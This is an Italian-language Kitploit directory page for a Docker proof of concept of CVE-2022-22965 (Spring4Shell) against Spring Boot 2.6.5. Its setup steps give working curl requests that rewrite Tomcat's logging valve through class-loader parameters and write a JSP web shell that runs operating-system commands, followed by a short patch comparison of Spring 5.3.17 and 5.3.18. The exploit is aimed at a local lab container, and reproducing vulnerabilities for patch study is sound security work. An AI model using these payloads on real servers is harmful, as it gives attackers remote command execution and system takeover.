Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-22965 — PoC Docker per CVE-2022-22965 con Spring Boot versione 2.6.5 | Kitploit
Strumenti/GitHubGitHub/itsecurityco/cve-2022-22965
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubitsecurityco/cve-2022-22965

CVE-2022-22965

PoC Docker per CVE-2022-22965 con Spring Boot versione 2.6.5

Vedi Repository
1634 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Spring Boot CVE-2022-22965

Docker PoC per CVE-2022-22965 con Spring Boot versione 2.6.5

Shell

🚀 Per iniziare

  1. Scarica il codice di distribuzione da https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip e decomprimilo.
  2. Esegui docker compose up --build per creare e avviare l'applicazione vulnerabile.
  3. Esegui curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" per modificare la configurazione del valve di Tomcat.
  4. Esegui curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x" per creare la web shell.
  5. Apri il browser e vai su http://localhost:8080/shell.jsp?1337=id per iniziare ad eseguire comandi.

🔎 Revisione della patch

Il codice sorgente per Spring Framework 5.3.17 (vulnerabile) e Spring Framework 5.3.18 (corretto) può essere scaricato rispettivamente da:

  • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
  • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
root@kitploit:~
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip

La vulnerabilità si trova nel file /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java alla riga 290 dove la validazione è applicata per i metodi Class.getClassLoader() e getProtectionDomain() ma non per i tipi ClassLoader, ProtectionDomain e i nomi PropertyDescriptors.

La differenza tra il codice vulnerabile e quello corretto può essere ottenuta con il comando diff.

root@kitploit:~
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java

Patch


Crediti

  • Ricerca originale: @p1n93r
  • Ringraziamenti: @fmunoz
Scarica lo strumento